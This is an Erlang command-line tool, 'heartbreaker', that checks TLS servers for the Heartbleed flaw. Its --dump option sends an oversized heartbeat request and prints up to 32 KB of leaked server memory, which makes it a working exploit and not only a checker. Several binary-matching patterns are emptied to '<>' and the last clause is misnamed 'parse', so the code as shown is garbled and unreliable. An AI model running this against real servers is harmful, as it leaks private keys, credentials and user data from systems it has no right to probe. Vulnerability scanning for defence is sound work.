-module(heartbreaker).
-export([main/1]).
main(InArgs) ->
GetOpts = [
{dump, "d", "dump", false}
],
GetOpt = getopt_parse(InArgs, GetOpts, []),
{Opts, Args} = lists:partition(fun is_tuple/1, lists:reverse(GetOpt)),
main(Args, Opts).
main([Spec], Opts) ->
[application:start(X) || X <- [inets,crypto,asn1,public_key]],
ok = ssl:start(),
case string:tokens(Spec, ":") of
[Host, PortStr] -> Port = list_to_integer(PortStr);
[Host] -> Port = 443
end,
case ssl:connect(Host, Port, [{verify, verify_none}], 1000) of
{ok, SslSock} ->
{sslsocket, _, Pid} = SslSock,
case ssl_connection:heartbeat(Pid, 4, <<1,2,3,4>>) of
{ok, 4, <<1,2,3,4, _/binary>>} ->
ok = ssl:close(SslSock),
{ok, SslSock2} = ssl:connect(Host, Port, [{verify, verify_none}], 5000),
{sslsocket, _, Pid2} = SslSock2,
Size = case proplists:get_value(dump, Opts) of true -> 32768; _ -> 100 end,
case ssl_connection:heartbeat(Pid2, Size, <<1,2>>, 10000) of
{ok, RetSize, Bin} when byte_size(Bin) > 10 ->
ok = ssl:close(SslSock2),
io:format("VULNERABLE: heartbeat enabled, returned ~p bytes for a 2 byte request\n", [RetSize]),
case proplists:get_value(dump, Opts) of
true -> bindump(Bin), halt(2);
_ -> halt(2)
end;
{error, _} ->
ok = ssl:close(SslSock2),
io:format("NOT VULNERABLE: heartbeat enabled, but patched or not OpenSSL\n"),
halt(0)
end;
{error, no_heartbeat_in_hello} ->
io:format("NOT VULNERABLE: heartbeat extension not compiled in\n"),
halt(0);
{error, heartbeat_disabled} ->
io:format("NOT VULNERABLE: heartbeat implementation does not accept peer requests\n"),
halt(0);
{error, Reason} ->
io:format("ERROR receiving heartbeat: ~p\n", [Reason]),
halt(1)
end;
Err ->
io:format("ERROR during connect: ~p\n", [Err]),
halt(1)
end;
main(_, _) ->
io:format("usage: ./heartbreaker [opts] addr[:port]\n"),
io:format("checks for 'heartbleed' vulnerability\n"),
io:format("options:\n"),
io:format(" -d|--dump dump 32kb of memory out, don't just check\n"),
halt(5).
hexdump(<<>>) -> ok;
hexdump(<>) ->
io:format("~2.16.0B ", [A]), hexdump(Rest).
chardump(<<>>) -> ok;
chardump(<>) ->
if (A >= 33) andalso (A =< 126) ->
io:format("~s", [[A]]);
true ->
io:format(".")
end, chardump(Rest).
bindump(Bin) when byte_size(Bin) =< 18 ->
hexdump(Bin), io:format(" "), chardump(Bin), io:format("\n");
bindump(<>) ->
hexdump(Bin), io:format(" "), chardump(Bin), io:format("\n"),
bindump(Rest).
getopt_parse([], _Opts, Args) -> Args;
getopt_parse([[$-, $- | K], V | Rest], Opts, Args) ->
case lists:keyfind(K, 3, Opts) of
{Atom, _Short, K, string} ->
getopt_parse(Rest, Opts, [{Atom, V} | Args]);
{Atom, _Short, K, integer} ->
getopt_parse(Rest, Opts, [{Atom, list_to_integer(V)} | Args]);
{Atom, _Short, K, Type} when (Type =:= false) or (Type =:= undefined) ->
getopt_parse([V | Rest], Opts, [{Atom, true} | Args]);
false ->
io:format("unknown option --~w\n", [K]),
halt(1)
end;
getopt_parse([[$- | K], V | Rest], Opts, Args) ->
case lists:keyfind(K, 2, Opts) of
{Atom, K, _Long, string} ->
getopt_parse(Rest, Opts, [{Atom, V} | Args]);
{Atom, K, _Long, integer} ->
getopt_parse(Rest, Opts, [{Atom, list_to_integer(V)} | Args]);
{Atom, K, _Long, Type} when (Type =:= false) or (Type =:= undefined) ->
getopt_parse([V | Rest], Opts, [{Atom, true} | Args]);
false ->
io:format("unknown option -~w\n", [K]),
halt(1)
end;
parse([Next | Rest], Opts, Args) ->
getopt_parse(Rest, Opts, [Next | Args]).